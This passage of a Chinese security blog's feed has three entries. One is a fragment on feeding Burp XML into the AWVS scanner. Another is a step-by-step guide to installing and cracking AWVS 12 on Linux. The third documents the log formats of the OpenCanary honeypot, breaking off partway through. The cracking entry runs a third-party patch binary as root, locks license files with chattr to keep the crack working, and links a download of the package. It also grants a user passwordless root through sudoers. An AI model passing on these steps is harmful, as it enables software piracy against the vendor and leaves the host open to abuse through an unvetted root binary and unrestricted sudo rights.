class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">item</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">url</span>&gt;</span>&lt;![CDATA[http://123.com]]&gt;<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">method</span>&gt;</span>&lt;![CDATA[GET]]&gt;<span class="tag">&lt;/<span class="name">method</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">request</span> <span class="attr">base64</span>=<span class="string">"true"</span>&gt;</span>&lt;![CDATA[bbbccc]]&gt;<span class="tag">&lt;/<span class="name">request</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">item</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">items</span>&gt;</span></span><br></pre></td></tr></table></figure></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;背景&quot;&gt;&lt;a href=&quot;#背景&quot; class=&quot;headerlink&quot; title=&quot;背景&quot;&gt;&lt;/a&gt;背景&lt;/h2&gt;&lt;p&gt;我已经把awvs变成了被动扫描器引擎，其中一些关键环节，我会做一些总结以笔记形式发出来。&lt;/p&gt;
&lt;p&gt;awvs可以通过导入burpsuit
      
    
    </summary>
    
      <category term="安全开发" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
    
      <category term="awvs" scheme="http://pirogue.org/tags/awvs/"/>
    
      <category term="xml" scheme="http://pirogue.org/tags/xml/"/>
    
      <category term="cdata" scheme="http://pirogue.org/tags/cdata/"/>
    
      <category term="burpsuite" scheme="http://pirogue.org/tags/burpsuite/"/>
    
      <category term="golang" scheme="http://pirogue.org/tags/golang/"/>
    
  </entry>
  
  <entry>
    <title>awvs（12.0.190515149）linux 安装和破解</title>
    <link href="http://pirogue.org/2019/06/17/awvs/"/>
    <id>http://pirogue.org/2019/06/17/awvs/</id>
    <published>2019-06-17T15:26:33.000Z</published>
    <updated>2019-08-23T08:37:41.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="升级Ubuntu操作系统"><a href="#升级Ubuntu操作系统" class="headerlink" title="升级Ubuntu操作系统"></a>升级Ubuntu操作系统</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">do-release-upgrade</span><br></pre></td></tr></table></figure><p>升级完成后版本为Ubuntu 18.04.2 LTS \n \l</p><h2 id="安装软件依赖"><a href="#安装软件依赖" class="headerlink" title="安装软件依赖"></a>安装软件依赖</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 libx11-xcb-dev</span><br></pre></td></tr></table></figure><p>若安装出错，可参考我的下列步骤：</p><p>可能安装的并不顺利，尤其libx11-xcb-dev，这时候你需要根据错误提示安装它的合适版本的依赖包。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install libxdmcp6=1:1.1.2-1.1</span><br><span class="line">sudo apt-get install libxcb1=1.11.1-1ubuntu1</span><br><span class="line">sudo apt-get install libxcb1-dev</span><br></pre></td></tr></table></figure></p><h2 id="从官网下载最新的awvs-linux版本"><a href="#从官网下载最新的awvs-linux版本" class="headerlink" title="从官网下载最新的awvs linux版本"></a>从官网下载最新的awvs linux版本</h2><p>下载地址：<a href="https://www.acunetix.com/web-vulnerability-scanner/demo/" target="_blank" rel="noopener">https://www.acunetix.com/web-vulnerability-scanner/demo/</a></p><p>填写好申请人的邮箱等信息，提交就可以跳转到真实的软件包下载地址。</p><p>截止2019-06-17 15:57:39我下载的最新版本为Version: 12.0.190515149(15 May 2019)</p><p>不想从官网下载或者官网已经取消这种下载流程的，可以从本文底部的下载链接进行下载。</p><h2 id="安装awvs"><a href="#安装awvs" class="headerlink" title="安装awvs"></a>安装awvs</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">chmod 777 acunetix_trial.sh</span><br><span class="line">sudo ./acunetix_trial.sh</span><br><span class="line">.....当你输入了上面的命令之后，会进行安装，其中包括阅读它的使用协议，回车到输入yes，然后输入一系列内容。直到安装完成。</span><br></pre></td></tr></table></figure><h2 id="awvs修改端口"><a href="#awvs修改端口" class="headerlink" title="awvs修改端口"></a>awvs修改端口</h2><p>默认的awvs的端口是13443，因为其他原因我需要把端口修改为443.<br>调试过程就略了。。。直接给出解决方案吧。</p><p>修改web端口</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi /home/acunetix/.acunetix_trial/wvs.ini</span><br></pre></td></tr></table></figure><p>将server.port=13443改为server.port=443</p><p>添加/etc/sudoers，免密码可sudo用户。</p><p>编辑/etc/sudoers<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/sudoers</span><br></pre></td></tr></table></figure></p><p>加一行内容，并保存<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">acunetix   ALL=(ALL)       NOPASSWD: ALL</span><br></pre></td></tr></table></figure></p><p><img src="/2019/06/17/awvs/sudoer.png" alt="sudoer"></p><p>在/home/acunetix/.acunetix_trial/start.sh第19行，行首添加sudo。</p><p><img src="/2019/06/17/awvs/sudo.png" alt="sudo"></p><p>重新启动awvs<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl restart acunetix_trial.service</span><br><span class="line"></span><br><span class="line">启动和停止命令</span><br><span class="line">sudo systemctl start acunetix_trial.service</span><br><span class="line">sudo systemctl stop acunetix_trial.service</span><br></pre></td></tr></table></figure></p><h2 id="破解awvs"><a href="#破解awvs" class="headerlink" title="破解awvs"></a>破解awvs</h2><p>注意要把破解补丁复制/home/acunetix/.acunetix_trial/v_190515149/scanner/目录下，其中v_190515149是你的awvs安装完成后根据版本生成的目录。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">apt-get install unzip</span><br><span class="line">unzip patch_awvs.zip</span><br><span class="line">cd /home/acunetix/.acunetix_trial/v_190515149/scanner/</span><br><span class="line">sudo cp ~/patch_awvs .</span><br><span class="line">sudo ./patch_awvs</span><br></pre></td></tr></table></figure><p>破解成功后会显示：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt; xs3c.co &gt;</span><br><span class="line"> ------------</span><br><span class="line">       \   ,__,</span><br><span class="line">        \  (oo)____</span><br><span class="line">           (__)    )\</span><br><span class="line">              ||--|| *</span><br><span class="line">Crack by bigchan.Tested on v_190325161.</span><br><span class="line">Usage: Copy me to the scanner folder and run as root.</span><br><span class="line"></span><br><span class="line">Check environment.</span><br><span class="line">Generating license.</span><br><span class="line">Patch executable.</span><br><span class="line">Jobs done, there you go.</span><br></pre></td></tr></table></figure><h2 id="保护license不失效"><a href="#保护license不失效" class="headerlink" title="保护license不失效"></a>保护license不失效</h2><p>执行完成patch之后，尽快执行如下的命令，不然license会被修改的。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chattr +i /home/acunetix/.acunetix_trial/data/license/license_info.json</span><br></pre></td></tr></table></figure></p><h2 id="awvs破解后14天失效问题解决"><a href="#awvs破解后14天失效问题解决" class="headerlink" title="awvs破解后14天失效问题解决"></a>awvs破解后14天失效问题解决</h2><p>—————–2019-08-16 19:35:27更新——————————</p><p>最开始我参考网络上的文章进行破解，发现破解成功。但后来10几天过去了，再登录到awvs里新建了任务，发现扫描失败。通过日志的查看和命令行模式的调试<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/home/acunetix/.acunetix_trial/v_190325161/scanner/wvsc /scan http:<span class="comment">//xxx.com /profile xss /satus /log logfile.txt</span></span><br></pre></td></tr></table></figure></p><p>发现是license过期了。</p><p>参考下t00ls上的帖子《Linux AWVS 12完美破解！！！》:<br><a href="https://www.t00ls.net/viewthread.php?tid=52159" target="_blank" rel="noopener">https://www.t00ls.net/viewthread.php?tid=52159</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">好多大佬说，破解完成后用段时间就失效了，扫不了了。只要删除wa_data.dat文件即可。亲测可用！！！</span><br><span class="line">rm  /home/acunetix/.acunetix_trial/data/license/wa_data.dat</span><br></pre></td></tr></table></figure><p>在安装完成之后，删除wa_data.bat文件，确实可用。但是10几天之后，awvs会自动再次生成wa_data.bat文件，查看报错提示是license error。</p><p>解决：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">rm  /home/acunetix/.acunetix_trial/data/license/wa_data.dat</span><br><span class="line">touch /home/acunetix/.acunetix_trial/data/license/wa_data.dat</span><br><span class="line">chattr +i /home/acunetix/.acunetix_trial/data/license/wa_data.dat</span><br></pre></td></tr></table></figure></p><p>意思是到期之后将wa_data.dat文件删除，然后手动创建一个wa_data.dat，最后锁定wa_data.dat文件不可写入。</p><p>目前awvs破解之后的版本依然可用。</p><p>给个awvs的安装包下载地址：<br><a href="https://mega.nz/#F!xOA00CSI!BOvzk-O4SFVlSuep0KAHJw" target="_blank" rel="noopener">https://mega.nz/#F!xOA00CSI!BOvzk-O4SFVlSuep0KAHJw</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;升级Ubuntu操作系统&quot;&gt;&lt;a href=&quot;#升级Ubuntu操作系统&quot; class=&quot;headerlink&quot; title=&quot;升级Ubuntu操作系统&quot;&gt;&lt;/a&gt;升级Ubuntu操作系统&lt;/h2&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;
      
    
    </summary>
    
      <category term="安全运维" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E8%BF%90%E7%BB%B4/"/>
    
    
      <category term="awvs" scheme="http://pirogue.org/tags/awvs/"/>
    
      <category term="漏洞扫描器" scheme="http://pirogue.org/tags/%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>opencanary二次开发(1)-日志格式</title>
    <link href="http://pirogue.org/2019/01/15/opencanary_2/"/>
    <id>http://pirogue.org/2019/01/15/opencanary_2/</id>
    <published>2019-01-15T12:25:55.000Z</published>
    <updated>2019-01-15T15:55:53.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="关键代码"><a href="#关键代码" class="headerlink" title="关键代码"></a>关键代码</h2><p>opencanary/modules目录下为模拟的服务或协议脚本。<br>opencanary/logger.py 为日志生成脚本，我就是在这个文件里直接改了几行代码向web端发送日志，例如post2server函数和log函数；且LoggerBase类定义了各种日志类型。</p><h2 id="日志格式xmind"><a href="#日志格式xmind" class="headerlink" title="日志格式xmind"></a>日志格式xmind</h2><p>我将opencanary蜜罐框架分析的日志和服务（协议）用xmind进行记录，方便有兴趣的同学进行对照着开发。<br>其中opencanary_web数据库honeypot的OpencanaryLog表的字段也是根据根据日志所包含的所有字段进行设计和开发中随时扩表的。</p><p><img src="/2019/01/15/opencanary_2/opencanary.png" alt="opencanary-log"></p><h2 id="监听端口"><a href="#监听端口" class="headerlink" title="监听端口"></a>监听端口</h2><p>当把opencanary配置选项全部开启之后</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">2222</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">8080</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">80</span>              <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">21</span>              <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">23</span>              <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">1433</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">3389</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">8001</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">5000</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">9418</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">3306</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">tcp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">6379</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*               LISTEN      <span class="number">12683</span>/python</span><br><span class="line">udp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">57197</span>           <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*                           <span class="number">8994</span>/python</span><br><span class="line">udp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">5060</span>            <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*                           <span class="number">12683</span>/python</span><br><span class="line">udp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">69</span>              <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*                           <span class="number">12683</span>/python</span><br><span class="line">udp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">123</span>             <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*                           <span class="number">12683</span>/python</span><br><span class="line">udp        <span class="number">0</span>      <span class="number">0</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">161</span>             <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:*                           <span class="number">12683</span>/python</span><br></pre></td></tr></table></figure><h2 id="应用日志"><a href="#应用日志" class="headerlink" title="应用日志"></a>应用日志</h2><h3 id="HTTP"><a href="#HTTP" class="headerlink" title="HTTP"></a>HTTP</h3><h4 id="触发方式"><a href="#触发方式" class="headerlink" title="触发方式"></a>触发方式</h4><p>访问蜜罐http页面</p><h4 id="日志格式"><a href="#日志格式" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">80</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 13:47:45.817940"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"HOSTNAME"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"PASSWORD"</span>: <span class="string">"admin888"</span>, <span class="attr">"PATH"</span>: <span class="string">"/index.html"</span>, <span class="attr">"SKIN"</span>: <span class="string">"nasLogin"</span>, <span class="attr">"USERAGENT"</span>: <span class="string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:61.0) Gecko/20100101 Firefox/61.0"</span>, <span class="attr">"USERNAME"</span>: <span class="string">"admin"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">3001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">54488</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="FTP"><a href="#FTP" class="headerlink" title="FTP"></a>FTP</h3><h4 id="触发方式-1"><a href="#触发方式-1" class="headerlink" title="触发方式"></a>触发方式</h4><p>任意ftp客户端</p><h4 id="日志格式-1"><a href="#日志格式-1" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">21</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 13:50:54.264032"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"PASSWORD"</span>: <span class="string">"admin123"</span>, <span class="attr">"USERNAME"</span>: <span class="string">"ftpadmin"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">2000</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">54573</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="SSH"><a href="#SSH" class="headerlink" title="SSH"></a>SSH</h3><h4 id="触发方式-2"><a href="#触发方式-2" class="headerlink" title="触发方式"></a>触发方式</h4><p>任意SSH客户端</p><h4 id="日志格式-2"><a href="#日志格式-2" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">2222</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 13:54:27.811101"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"SESSION"</span>: <span class="string">"3"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">4000</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">54639</span>&#125;</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">2222</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 13:54:27.888686"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"LOCALVERSION"</span>: <span class="string">"SSH-2.0-OpenSSH_5.1p1 Debian-4"</span>, <span class="attr">"REMOTEVERSION"</span>: <span class="string">"SSH-2.0-OpenSSH_7.0 ZOC_7.16.1"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">4001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">54639</span>&#125;</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">2222</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 13:54:32.444224"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"LOCALVERSION"</span>: <span class="string">"SSH-2.0-OpenSSH_5.1p1 Debian-4"</span>, <span class="attr">"PASSWORD"</span>: <span class="string">"root123"</span>, <span class="attr">"REMOTEVERSION"</span>: <span class="string">"SSH-2.0-OpenSSH_7.0 ZOC_7.16.1"</span>, <span class="attr">"USERNAME"</span>: <span class="string">"root"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">4002</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">54639</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="Telnet"><a href="#Telnet" class="headerlink" title="Telnet"></a>Telnet</h3><h4 id="触发方式-3"><a href="#触发方式-3" class="headerlink" title="触发方式"></a>触发方式</h4><p>telnet 172.18.200.58</p><h4 id="日志格式-3"><a href="#日志格式-3" class="headerlink" title="日志格式"></a>日志格式</h4><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"dst_host"</span>: <span class="string">"172.18.200.58"</span>, <span class="attr">"dst_port"</span>: <span class="number">23</span>, <span class="attr">"honeycred"</span>: <span class="literal">false</span>, <span class="attr">"local_time"</span>: <span class="string">"2019-01-07 13:56:45.341785"</span>, <span class="attr">"logdata"</span>: &#123;<span class="attr">"PASSWORD"</span>: <span class="string">"admin888"</span>, <span class="attr">"USERNAME"</span>: <span class="string">"admin123"</span>&#125;, <span class="attr">"logtype"</span>: <span class="number">6001</span>, <span class="attr">"node_id"</span>: <span class="string">"opencanary-1"</span>, <span class="attr">"src_host"</span>: <span class="string">"172.18.205.14"</span>, <span class="attr">"src_port"</span>: <span class="number">54676</span>&#125;</span><br></pre></td></tr></table></figure><h3 id="MYSQL"><a href="#MYSQL" class="headerlink" title="MYSQL"></a>MYSQL</h3><h4 id="触发方式-4"><a href="#触发方式-4" class="headerlink" title="触发方式"></a>触发方式</h4><p>mysql -h172.18.200.58 -uroot -p</p><h4 